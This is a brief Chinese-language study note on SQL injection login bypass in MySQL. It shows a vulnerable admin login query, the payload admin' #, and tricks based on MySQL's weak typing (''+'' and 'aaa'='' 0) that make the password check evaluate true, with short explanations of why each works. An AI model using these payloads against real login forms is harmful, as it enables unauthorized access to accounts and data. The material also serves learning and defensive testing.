select * from admin where username='' and password =''
第一种: 当你已知管理员账号名为admin时可以直接尝试 admin' #
select * from admin where username='admin' #'and password=''
一些事实:
mysql在处理弱类型的时候,比如说非数字开头的字符串和数字相加,字符串会被认为是0
证明:非数字开头的字符串和0是相等的
数字开头的字符串:
也就说:
select * from admin where username=''+'' and password=''+''
select * from admin where username=0 and password=0
这样两种写法都是可以查出数据的
适用范围: username 和password都是以非数字开头的字符串
方法三:
aaa'='' 0
select * from user where username='aaa'='' and password =0
原理:
username='aaa' 返回值是一个false
false='' 返回值是true
mysql的其他一些特性: